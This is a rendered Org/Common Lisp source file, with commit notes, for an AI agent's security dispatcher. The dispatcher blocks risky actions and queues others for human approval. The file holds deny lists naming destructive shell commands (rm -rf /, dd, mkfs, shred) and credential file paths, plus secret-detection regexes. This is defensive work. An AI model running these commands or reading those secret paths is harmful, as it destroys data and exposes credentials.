- Changed all 50 org file :tangle targets from ../lisp/ to ~/.local/share/passepartout/lisp/ (XDG data dir) - Removed 49 generated .lisp files from project lisp/ directory - Removed tests/system-integration-tests.lisp (generated) - Removed lisp/*.fasl (compiled, stale) - Updated core-manifest.org to tangle .asd to XDG root - Remapped quicklisp symlink: local-projects/passepartout → XDG TUI fixes in channel-tui-main.org: - Removed with-raw-terminal (stty raw breaks fd 0 reads in this SBCL) - Use cat subprocess + pipe for keyboard input (via :input :interactive) - Blocking read-char on pipe with with-timeout 0.1s for daemon processing - Key events queued via drain-queue alongside daemon messages - Full dialog key routing (Escape, Up/Down, Enter, filters, Backspace) - SIGWINCH resize handling - Post-handshake backend-size re-query - Daemon version in status bar (was v0.5.0 hardcoded) - Handshake version stored in state, no add-msg - :daemon-version and :size-queried in state plist - view-status uses draw-rect for background - Test section gated with #+passepartout-tests
47 KiB
SKILL: Security Dispatcher (org-skill-security-dispatcher.org)
- Deep Reasoning: Beyond Permission
- Implementation
- Package Context
- Security Configuration — network whitelist
- Privacy filter tags (dispatcher-privacy-tags)
- Protected file paths (dispatcher-protected-paths)
- Content exposure patterns (dispatcher-exposure-patterns)
- Shell safety — timeout
- Shell safety — output limit
- Shell safety — blocked patterns
- Secret Path Check (dispatcher-check-secret-path)
- Self-Build Safety Boundary (v0.4.0)
- dispatcher-check-core-path
- dispatcher-check-secret-path
- Content Exposure Scanner (dispatcher-exposure-scan)
- Vault Secret Scanning (dispatcher-vault-scan)
- Privacy Tag Check (dispatcher-check-privacy-tags)
- v0.7.2 — Tag Stack (Severity Tiers)
- dispatcher-check-text-for-privacy
- Lisp Validation Gate (dispatcher-check-lisp-valid)
- dispatcher-check-lisp-valid
- REPL Verification Gate (dispatcher-check-repl-verified)
- dispatcher-check-repl-verified
- Shell Safety Check (dispatcher-check-shell-safety)
- Severity Comparison (dispatcher-severity-max)
- Network Check (dispatcher-check-network-exfil)
- Main Security Gate (dispatcher-check)
- Approval Processing (dispatcher-approvals-process)
- Flight Plan Creation (dispatcher-flight-plan-create)
- HITL In-Memory Store (Gateway-Agnostic Approval)
- Gate Logic (dispatcher-gate)
- Skill Registration
- v0.8.0 — Block Count Tracking
- Test Suite
Deep Reasoning: Beyond Permission
The Dispatcher is the physical security layer of Passepartout. While the Policy skill ensures an action is "legal" (e.g., "Yes, you are allowed to send a Telegram message"), the Dispatcher ensures the action is "safe" by inspecting the payload content via Deep Packet Inspection.
Every action that reaches the Dispatcher has already been approved by the Reasoning pipeline. The LLM generated it, the deterministic gates verified it, and the Act stage is about to execute it. The Dispatcher is the last gate before the action touches the physical world.
The Dispatcher runs ten blocking checks (eleven including the warn-only REPL lint):
- REPL verification — warns if a
defunis written without REPL prototyping (warn only, doesn't block) - Lisp syntax — blocks writes with unbalanced parens
- Secret paths — blocks reads to
.env, SSH keys, PEM files, etc. - Self-build safety — blocks writes to
core-*files unless HITL approved (active whenSELF_BUILD_MODE=true) - Content exposure — scans for API keys, PGP blocks, tokens
- Vault secrets — matches against stored credentials
- Privacy tags — blocks
@personaltagged content - Privacy text — warns if text references privacy tag names
- Shell safety — blocks destructive commands and injection patterns
- Network exfil — blocks unwhitelisted outbound connections
- High-impact approval — requires HITL for
:shell,:system :eval, and:emacs :eval
The Dispatcher also handles the Flight Plan system: when a high-risk action is blocked, it creates a Flight Plan node in the Org files that the user can manually approve.
Contract
- (wildcard-match pattern path): returns T if
pathmatchespattern, where*in pattern matches any number of characters. - (dispatcher-check-secret-path filepath): returns the matching
protected pattern if
filepathmatches any entry in*dispatcher-protected-paths*, nil otherwise. - (dispatcher-check-shell-safety cmd): returns
(:matched <names> :severity <tier>)ifcmdtriggers any entry in*dispatcher-shell-blocked*, nil if safe. Severity tiers::catastrophic>:dangerous>:moderate>:harmless. - (dispatcher-check-privacy-tags tags-list): returns T if any tag in
tags-listmatches a privacy filter tag, nil otherwise. - (dispatcher-check-network-exfil cmd): returns T (unsafe) if
cmdcontains an HTTP/HTTPS/FTP URL targeting an unwhitelisted domain. - (dispatcher-gate action context): main deterministic gate — routes by
sensor and applies
dispatcher-checkfor safety verification. - (hitl-create blocked-action): returns a plist with
:tokenand:messagefor user-facing HITL approval. - (hitl-approve token): approves and re-injects a pending action. Returns T if found, nil if invalid token.
- (hitl-deny token): denies and removes a pending action. Returns T if found, nil if invalid.
- (dispatcher-block-record gate-name): records a block decision in
*dispatcher-block-counts*alist. Returns the updated count for that gate. - (dispatcher-block-counts-summary): returns plist
(:total <N> :by-gate ((<gate> . <count>) ...))of all blocked actions this session.
Boundaries
- Does NOT handle the gate approval routing — that is
core-reason.org. - Does NOT persist HITL tokens — they live in memory only.
v0.8.0 — Dispatcher Block Counts
The sidebar's Protection panel (panel 7 of the Information Radiator) needs per-gate block statistics — how many times each of the ten deterministic vectors blocked an action. This is the specific-value- proposition panel: no competitor can count deterministic gate blocks because none has deterministic gates.
*dispatcher-block-counts* is an alist mapping gate keyword to integer
count: ((:secret-path . 3) (:shell-safety . 12) (:network-exfil . 7) ...).
Incremented in dispatcher-check on every :blocked result via
dispatcher-block-record. Exposed to the TUI via dispatcher-block-counts-summary,
which returns a plist with :total and :by-gate fields. The TUI actuator
in core-act.org reads this via fboundp guard and injects :block-counts
into the response plist.
The counter is session-scoped (lives in memory). It does not persist across daemon restarts — it tracks what happened this session, which is what the sidebar shows. Historical block telemetry belongs in the telemetry system (v0.12.0).
Implementation
Package Context
(in-package :passepartout)
Security Configuration — network whitelist
Domains that the Dispatcher considers safe for outbound connections. Network calls to unlisted domains are blocked or queued for approval. ;; REPL-VERIFIED: 2026-05-03T13:00:00
(defvar *dispatcher-network-whitelist*
'("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
"Domains the Dispatcher considers safe for outbound connections.")
Privacy filter tags (dispatcher-privacy-tags)
List of tag strings that mark content as private. Content with these tags is filtered from the LLM context window. Configurable via PRIVACY_FILTER_TAGS env var.
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defvar *dispatcher-privacy-tags*
(let ((env (uiop:getenv "PRIVACY_FILTER_TAGS")))
(if env
(uiop:split-string env :separator '(#\,))
'("@personal")))
"Tags marking content as private. Set via PRIVACY_FILTER_TAGS.")
Protected file paths (dispatcher-protected-paths)
Path patterns (with * wildcards) that are blocked from file reads. Covers SSH keys, PEM/PGP files, credentials, tokens, env files, and cloud configs. ;; REPL-VERIFIED: 2026-05-03T13:00:00
(defvar *dispatcher-protected-paths*
'(".env" ".env.example" ".env.local" ".env.production"
"*credentials*" "*cred*"
"*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*"
"*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp"
"secring.*" "pubring.*" "private-keys-v1.d/*"
"token*" "*secret*" "*token*"
".netrc" ".git-credentials" "auth.json"
".aws/credentials" ".aws/config"
".kube/config" "kubeconfig"
"*.cert" "*.crt" "*.csr"
"*password*" "*passwd*")
"Path patterns blocked from file reads.
Core file protection (core-*.org, core-*.lisp) handled separately by
dispatcher-check-core-path for self-build safety.")
Content exposure patterns (dispatcher-exposure-patterns)
Named regex patterns for scanning content for secret exposure. Each entry is a (name regex) pair. Matches are reported by name so downstream code can act on specific categories. ;; REPL-VERIFIED: 2026-05-03T13:00:00
(defvar *dispatcher-exposure-patterns*
'((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----")
(:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----")
(:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----")
(:openai-key "sk-[A-Za-z0-9-]{20,}")
(:google-key "AIza[0-9A-Za-z_-]{35}")
(:github-token "gh[pousr]_[A-Za-z0-9]{36,}")
(:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}")
(:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}")
(:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}"))
"Named regex patterns for secret exposure detection.")
Shell safety — timeout
Maximum seconds a shell command is allowed to run before being killed. ;; REPL-VERIFIED: 2026-05-03T13:00:00
(defvar *dispatcher-shell-timeout* 30
"Maximum seconds for a shell command before timeout.")
Shell safety — output limit
Maximum characters of shell command output to capture. Prevents memory exhaustion from infinite output. ;; REPL-VERIFIED: 2026-05-03T13:00:00
(defvar *dispatcher-shell-max-output* 100000
"Maximum characters of shell output to capture.")
Shell safety — blocked patterns
Destructive and injection patterns that are blocked in shell commands. Covers rm -rf /, dd, mkfs, shred, backtick injection, and $() subshell injection.
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defvar *dispatcher-shell-blocked*
'((:destructive-rm "\\brm\\s+-rf\\s+/" :severity :catastrophic)
(:destructive-dd "\\bdd\\s+if=" :severity :catastrophic)
(:destructive-mkfs "\\bmkfs\\." :severity :catastrophic)
(:disk-wipe "\\bshred\\s+/dev/" :severity :catastrophic)
(:disk-wipe-b "\\bwipefs\\s+/dev/" :severity :catastrophic)
(:injection-backtick "`[^`]+`" :severity :dangerous)
(:injection-subshell "\\$\\([^)]+\\)" :severity :dangerous))
"Destructive and injection patterns blocked in shell commands.
Each entry is (name regex :severity tier) where tier is one of:
:catastrophic, :dangerous, :moderate, :harmless.")
Secret Path Check (dispatcher-check-secret-path)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun wildcard-match (pattern path)
"Matches PATH against PATTERN where * matches any characters."
(let ((regex (cl-ppcre:regex-replace-all
"\\*" (cl-ppcre:quote-meta-chars pattern) ".*")))
(cl-ppcre:scan regex path)))
Self-Build Safety Boundary (v0.4.0)
The Dispatcher now protects the core pipeline from unapproved modification. This is the operational realization of "thin harness, fat skills" — the harness is thin enough for a human to audit, and the Dispatcher ensures it stays that way.
The core-* files implement the Perceive-Reason-Act cycle, the Merkle-tree memory, the skill engine loader, and the Dispatcher gate stack itself. If the agent (or a hallucination) modifies these files, the agent loses its ability to reason about and fix the corruption. The Dispatcher blocks any file write or shell command targeting core-*.org or core-*.lisp — detected by dispatcher-check-core-path using direct regex matching (core-.*\.(org|lisp)).
Unlike secret path protection (Vector 2), which produces a hard :LOG block, core file writes produce a :approval-required Flight Plan (Vector 2b). The human reviews the proposed core change in an Org buffer before approving — the same mechanism that governs shell commands and network exfiltration.
The SELF_BUILD_MODE env var controls this protection:
SELF_BUILD_MODE=true(defaultfalse): core path protection active — writes require HITL approvalSELF_BUILD_MODE=false: protection disabled — useful during development when the human is manually editing core files
dispatcher-check-core-path
;; REPL-VERIFIED: 2026-05-06T18:00:00
(defun dispatcher-check-core-path (filepath)
"Returns T if FILEPATH matches a core-* self-build protected pattern."
(when (and filepath (stringp filepath))
(or (and (>= (length filepath) 5) (string-equal (subseq filepath 0 5) "core-"))
(cl-ppcre:scan "core-.*\\.(org|lisp)" filepath))))
dispatcher-check-secret-path
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-check-secret-path (filepath)
"Returns the matching pattern if FILEPATH matches a protected path, nil otherwise."
(when (and filepath (stringp filepath))
(some (lambda (pattern)
(when (wildcard-match pattern filepath)
pattern))
*dispatcher-protected-paths*)))
#+end_src
Content Exposure Scanner (dispatcher-exposure-scan)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-exposure-scan (text)
"Scans TEXT for patterns matching known secret formats.
Returns a list of matched category keywords."
(when (and text (stringp text) (> (length text) 0))
(let ((matches nil))
(dolist (entry *dispatcher-exposure-patterns*)
(let ((name (first entry))
(regex (second entry)))
(when (cl-ppcre:scan regex text)
(push name matches))))
matches)))
Vault Secret Scanning (dispatcher-vault-scan)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-vault-scan (text)
"Scans TEXT for known secrets from the vault."
(when (and text (stringp text))
(let ((found-secret nil))
(maphash (lambda (key val)
(when (and val (stringp val) (> (length val) 5))
(when (search val text)
(setf found-secret key))))
*vault-memory*)
found-secret)))
Privacy Tag Check (dispatcher-check-privacy-tags)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-check-privacy-tags (tags-list)
"Returns T if any tag in TAGS-LIST matches a privacy filter tag."
(when (and tags-list (listp tags-list))
(some (lambda (tag)
(some (lambda (private)
(or (string-equal tag private)
(search private tag :test #'string-equal)))
*dispatcher-privacy-tags*))
tags-list)))
v0.7.2 — Tag Stack (Severity Tiers)
(defvar *tag-categories* nil
"Alist of (tag . severity) from TAG_CATEGORIES env var.
Severity: :block (filter), :warn (log+include), :log (silent record).")
(defvar *tag-trigger-count* (make-hash-table :test 'equal)
"Per-session count of how many times each tag was triggered.")
(defun tag-trigger-record (tag)
"Increment the trigger count for TAG."
(incf (gethash (string-downcase tag) *tag-trigger-count* 0)))
(defun tag-categories-load ()
"Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist."
(let* ((raw (or (uiop:getenv "TAG_CATEGORIES")
(uiop:getenv "PRIVACY_FILTER_TAGS"))))
(setf *tag-categories*
(when raw
(mapcar (lambda (entry)
(let ((parts (uiop:split-string entry :separator '(#\:))))
(if (>= (length parts) 2)
(cons (first parts) (intern (string-upcase (second parts)) :keyword))
(cons entry :block))))
(uiop:split-string raw :separator '(#\, #\;)))))))
(defun tag-category-severity (tag)
"Return the severity keyword for TAG, or NIL if not found."
(cdr (assoc tag *tag-categories* :test #'string-equal)))
(defun dispatcher-privacy-severity (tags-list)
"Return the highest-severity tag match: :block > :warn > :log, or nil.
Records trigger counts for matched tags."
(when (and tags-list (listp tags-list))
(let ((highest nil))
(dolist (tag tags-list)
(let ((sev (tag-category-severity tag)))
(when sev
(tag-trigger-record tag))
(when (or (eq sev :block)
(and (eq sev :warn) (not (eq highest :block)))
(and (eq sev :log) (null highest)))
(setf highest sev))))
highest)))
(tag-categories-load)
dispatcher-check-text-for-privacy
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-check-text-for-privacy (text)
"Scans TEXT for leaked privacy-tagged content."
(when (and text (stringp text))
(let ((lower (string-downcase text)))
(some (lambda (tag)
(search (string-downcase tag) lower))
*dispatcher-privacy-tags*))))
#+end_src
Lisp Validation Gate (dispatcher-check-lisp-valid)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun org-blocks-extract (content)
"Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string."
(when (and content (stringp content))
(let ((lines (uiop:split-string content :separator '(#\Newline)))
(in-block nil)
(code ""))
(dolist (line lines)
(let ((clean (string-trim '(#\Space #\Tab) line)))
(cond
((search "#+begin_src lisp" clean)
(setf in-block t))
((search "#+end_src" clean)
(setf in-block nil))
(in-block
(setf code (concatenate 'string code line (string #\Newline)))))))
(when (> (length code) 0) code))))
dispatcher-check-lisp-valid
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-check-lisp-valid (filepath content)
"Validates Lisp syntax when writing .lisp files or Org files with lisp blocks.
Returns the validation result plist or nil if not applicable."
(when (and content (stringp content) (> (length content) 0))
(let ((to-validate
(cond
((uiop:string-suffix-p filepath ".lisp") content)
((uiop:string-suffix-p filepath ".org") (org-blocks-extract content))
(t nil))))
(when to-validate
(multiple-value-bind (valid-p err) (ignore-errors
(let ((*read-eval* nil))
(with-input-from-string (s (format nil "(progn ~a)" to-validate))
(loop for form = (read s nil :eof) until (eq form :eof)))
(values t nil)))
(unless valid-p
(list :status :error :reason err)))))))
#+end_src
REPL Verification Gate (dispatcher-check-repl-verified)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun org-has-defuns-p (content)
"Returns T if the Org content contains any #+begin_src lisp blocks with defuns."
(when (and content (stringp content))
(search "defun " content :test #'char-equal)))
dispatcher-check-repl-verified
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-check-repl-verified (action filepath content)
"Warns if writing a defun to an Org file without :repl-verified metadata."
(let ((repl-verified (getf action :repl-verified)))
(when (and filepath
(uiop:string-suffix-p filepath ".org")
(org-has-defuns-p content)
(not repl-verified))
(list :type :LOG
:payload (list :level :warn
:text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath))))))
#+end_src
Shell Safety Check (dispatcher-check-shell-safety)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-check-shell-safety (cmd)
"Checks a shell command for destructive patterns and injection vectors.
Returns (:matched <names> :severity <tier>) when dangerous patterns found,
or nil if safe. Severity is the highest tier among matched patterns:
:catastrophic > :dangerous > :moderate > :harmless."
(when (and cmd (stringp cmd) (> (length cmd) 0))
(let ((matches nil)
(severity :harmless))
(dolist (entry *dispatcher-shell-blocked*)
(let ((name (first entry))
(regex (second entry))
(tier (getf entry :severity)))
(when (cl-ppcre:scan regex cmd)
(push name matches)
(setf severity (dispatcher-severity-max severity (or tier :moderate))))))
(when matches
(list :matched matches :severity severity)))))
Severity Comparison (dispatcher-severity-max)
;; REPL-VERIFIED: 2026-05-07T17:00:00
(defvar *dispatcher-severity-order*
(list :harmless 0 :moderate 1 :dangerous 2 :catastrophic 3)
"Severity tier ordering for comparison. Higher = more severe.")
(defun dispatcher-severity-max (a b)
"Returns the higher of two severity tiers."
(let ((ra (or (getf *dispatcher-severity-order* a) 0))
(rb (or (getf *dispatcher-severity-order* b) 0)))
(if (>= rb ra) b a)))
Network Check (dispatcher-check-network-exfil)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-check-network-exfil (cmd)
"Detects if CMD attempts to contact an unwhitelisted external host."
(when (and cmd (stringp cmd))
(multiple-value-bind (match regs)
(cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd)
(declare (ignore match))
(when regs
(let ((domain (aref regs 1)))
(not (some (lambda (safe) (search safe domain))
*dispatcher-network-whitelist*)))))))
Main Security Gate (dispatcher-check)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-check (action context)
"Security gate for high-risk actions.
Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
(declare (ignore context))
(let* ((read-only-auto-pass
(let ((tool-name (proto-get (proto-get action :payload) :tool)))
(when (and tool-name (tool-read-only-p tool-name))
(return-from dispatcher-check action))))
(target (proto-get action :target))
(payload (proto-get action :payload))
(text (or (proto-get payload :text) (proto-get action :text)))
(filepath (or (proto-get payload :filepath)
(when (equal (proto-get payload :tool) "read-file")
(proto-get (proto-get payload :args) :filepath))
(when (equal (proto-get payload :tool) "write-file")
(proto-get (proto-get payload :args) :filepath))))
(content (when filepath (proto-get (proto-get payload :args) :content)))
(cmd (or (proto-get payload :cmd)
(when (and (eq target :tool) (equal (proto-get payload :tool) "shell"))
(proto-get (proto-get payload :args) :cmd))))
(approved (proto-get action :approved))
(tags (proto-get payload :tags))
(lisp-valid (when (and filepath content (not approved))
(dispatcher-check-lisp-valid filepath content)))
(repl-lint (when (and filepath content (not approved))
(dispatcher-check-repl-verified action filepath content))))
(cond
(approved action)
;; Vector 0: REPL verification lint (warn, don't block)
(repl-lint
(log-message "DISPATCHER: ~a" (proto-get repl-lint :text))
action)
;; Vector 1: Lisp syntax validation (block bad lisp writes)
((and lisp-valid (eq (getf lisp-valid :status) :error))
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
(dispatcher-block-record :lisp-validation)
(list :type :LOG
:payload (list :level :error
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
;; Vector 2: File read to a protected secret path
((and filepath (dispatcher-check-secret-path filepath))
(let ((matched (dispatcher-check-secret-path filepath)))
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
(dispatcher-block-record :secret-path)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
;; Vector 2b: Self-build safety — core file writes require HITL approval
((and filepath content
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
(dispatcher-check-core-path filepath))
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
(dispatcher-block-record :self-build-core)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
;; Vector 3: Content contains secret patterns
((and text (dispatcher-exposure-scan text))
(let ((matched (dispatcher-exposure-scan text)))
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
(dispatcher-block-record :secret-content)
(list :type :LOG
:payload (list :level :error
:text "Action blocked: Content contains potential secret exposure."))))
;; Vector 4: Content contains vault secrets
((and text (dispatcher-vault-scan text))
(let ((secret-name (dispatcher-vault-scan text)))
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
(dispatcher-block-record :vault-secrets)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
;; Vector 5: Privacy-tagged content (severity tiers)
((and tags (fboundp 'dispatcher-privacy-severity))
(let ((severity (dispatcher-privacy-severity tags)))
(cond
((eq severity :block)
(log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
(dispatcher-block-record :privacy-tags)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Content tagged with privacy filter (~a)." tags))))
((eq severity :warn)
(log-message "PRIVACY WARNING: @tag ~a (allowed with warning)" tags)
action)
((eq severity :log)
(log-message "PRIVACY: @tag ~a (logged)" tags)
action))))
;; Vector 6: Text leaks privacy tag names
((and text (dispatcher-check-text-for-privacy text))
(log-message "PRIVACY WARNING: Text may contain leaked private content")
(dispatcher-block-record :privacy-text)
(list :type :LOG
:payload (list :level :warn
:text "Action blocked: Text may reference private content.")))
;; Vector 7: Shell destructive/injection patterns
((and cmd (dispatcher-check-shell-safety cmd))
(let ((matched (dispatcher-check-shell-safety cmd)))
(log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
(dispatcher-block-record :shell-safety)
(list :type :LOG
:payload (list :level :error
:text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
;; Vector 8: Network exfiltration
((and (or (eq target :shell)
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
(dispatcher-check-network-exfil cmd))
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
(dispatcher-block-record :network-exfil)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action)))
;; Vector 8b: High-impact action approval
((or (member target '(:shell))
(and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
(and (eq target :emacs) (eq (proto-get payload :action) :eval))
(and (eq target :system) (eq (proto-get payload :action) :eval)))
(log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
(dispatcher-block-record :high-impact-approval)
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
(t action))))
Approval Processing (dispatcher-approvals-process)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-approvals-process ()
"Scans for APPROVED flight plans and re-injects them."
(let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
(found-any nil))
(dolist (node approved-nodes)
(let* ((attrs (memory-object-attributes node))
(tags (getf attrs :TAGS))
(action-str (getf attrs :ACTION)))
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
(log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
(let ((action (ignore-errors (let ((*read-eval* nil)) (read-from-string action-str)))))
(when action
(setf (getf action :approved) t)
(stimulus-inject (list :type :EVENT
:payload (list :sensor :approval-required
:action action
:approved t)
:meta (list :source :system)))
(setf (getf (memory-object-attributes node) :TODO) "DONE")
(setq found-any t))))))
found-any))
Flight Plan Creation (dispatcher-flight-plan-create)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-flight-plan-create (blocked-action)
"Creates a Flight Plan node for manual approval in Emacs."
(let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
(log-message "DISPATCHER: Creating flight plan node '~a'..." id)
(list :type :REQUEST :target :emacs
:payload (list :action :insert-node :id id
:attributes (list :TITLE "Flight Plan: High-Risk Action"
:TODO "PLAN" :TAGS '("FLIGHT_PLAN")
:ACTION (format nil "~s" blocked-action))))))
HITL In-Memory Store (Gateway-Agnostic Approval)
For TUI, CLI, and Signal/Telegram users who don't have Emacs. Pending actions are stored in memory with a correlation token. The user replies with the token to approve or deny.
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defvar *hitl-pending* (make-hash-table :test 'equal)
"Maps correlation token → blocked-action plist for pending HITL approvals.")
hitl-create
A new HITL entry is created whenever the deterministic engine returns an
:approval-required level action. A correlation token is generated and
the blocked action is stored for later retrieval by hitl-approve or
hitl-deny.
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun hitl-create (blocked-action)
"Saves a blocked action for HITL approval. Returns a plist with
:token (the correlation ID) and :message (user-facing text)."
(let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
(setf (gethash token *hitl-pending*) blocked-action)
(log-message "HITL: Created pending approval ~a" token)
(list :token token
:message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))
hitl-approve
When the user sends an approval command with a valid token, the blocked
action is retrieved, stamped with :approved t, and re-injected into the
pipeline via stimulus-inject. The perceive gate detects the
:approval-required sensor with :approved t and processes it.
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun hitl-approve (token)
"Approves a pending HITL action by token. Re-injects with :approved t.
Returns T if found and approved, nil if token is invalid."
(let ((action (gethash token *hitl-pending*)))
(if action
(progn
(remhash token *hitl-pending*)
(setf (getf action :approved) t)
(stimulus-inject (list :type :EVENT
:payload (list :sensor :approval-required
:action action
:approved t)
:meta (list :source :system)))
(log-message "HITL: Approved ~a — re-injected" token)
t)
(progn
(log-message "HITL: Token ~a not found in pending" token)
nil))))
hitl-deny
Denial removes the pending action from the store without re-injecting it. The action is silently discarded and the token becomes invalid for future use.
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun hitl-deny (token)
"Denies a pending HITL action by token. Removes it from the pending store.
Returns T if found, nil if token is invalid."
(if (gethash token *hitl-pending*)
(progn
(remhash token *hitl-pending*)
(log-message "HITL: Denied ~a" token)
t)
(progn
(log-message "HITL: Token ~a not found in pending" token)
nil)))
hitl-handle-message
The universal entry point for HITL commands arriving from any gateway.
Parses the text for /approve, /deny, approve, or deny followed
by a token, dispatches to hitl-approve or hitl-deny, and returns T
if the message was a HITL command (so the gateway knows not to inject it
into the main pipeline).
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun hitl-handle-message (text &optional source)
"Checks if TEXT is a HITL approval or denial command.
If it matches, processes the command and returns T.
Otherwise returns nil (text should be handled as normal input).
Recognized formats:
/approve HITL-abc123
/deny HITL-abc123
approve HITL-abc123
deny HITL-abc123"
(let ((text (string-trim '(#\Space) (or text ""))))
(when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
(uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
(token (when (> (length parts) 1) (second parts))))
(when (and token (hitl-approve token))
(log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
(return-from hitl-handle-message t))))
(when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
(uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
(token (when (> (length parts) 1) (second parts))))
(when (and token (hitl-deny token))
(log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
(return-from hitl-handle-message t))))
nil))
Gate Logic (dispatcher-gate)
;; REPL-VERIFIED: 2026-05-03T13:00:00
(defun dispatcher-gate (action context)
"Main deterministic gate for the Security Dispatcher skill."
(let* ((payload (getf context :payload))
(sensor (getf payload :sensor)))
(case sensor
(:approval-required
(dispatcher-flight-plan-create (getf payload :action)))
(:heartbeat
(dispatcher-approvals-process)
(if action (dispatcher-check action context) action))
(otherwise
(if action (dispatcher-check action context) action)))))
Skill Registration
(defskill :passepartout-security-dispatcher
:priority 150
:trigger (lambda (ctx) (declare (ignore ctx)) t)
:deterministic #'dispatcher-gate)
v0.8.0 — Block Count Tracking
*dispatcher-block-counts* is a hash table mapping gate keyword to
integer block count. Every blocking decision in dispatcher-check
records the block via dispatcher-block-record. The sidebar's Protection
panel reads the summary via dispatcher-block-counts-summary, called
from core-act.org's :tui actuator via fboundp guard.
(defvar *dispatcher-block-counts* (make-hash-table :test 'equal)
"Per-gate block count: maps gate keyword → integer.")
(defun dispatcher-block-record (gate-name)
"Records a block decision for GATE-NAME. Returns the updated count."
(let ((count (1+ (gethash gate-name *dispatcher-block-counts* 0))))
(setf (gethash gate-name *dispatcher-block-counts*) count)
count))
(defun dispatcher-block-counts-summary ()
"Returns plist (:total <N> :by-gate ((<gate> . <count>) ...))."
(let* ((by-gate
(loop for k being the hash-keys of *dispatcher-block-counts*
for v = (gethash k *dispatcher-block-counts*)
collect (cons k v)))
(total (reduce #'+ (mapcar #'cdr by-gate) :initial-value 0))
(sorted (sort (copy-list by-gate) #'> :key #'cdr)))
(list :total total :by-gate sorted)))
Test Suite
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-security-dispatcher-tests
(:use :cl :fiveam :passepartout)
(:export #:dispatcher-suite))
(in-package :passepartout-security-dispatcher-tests)
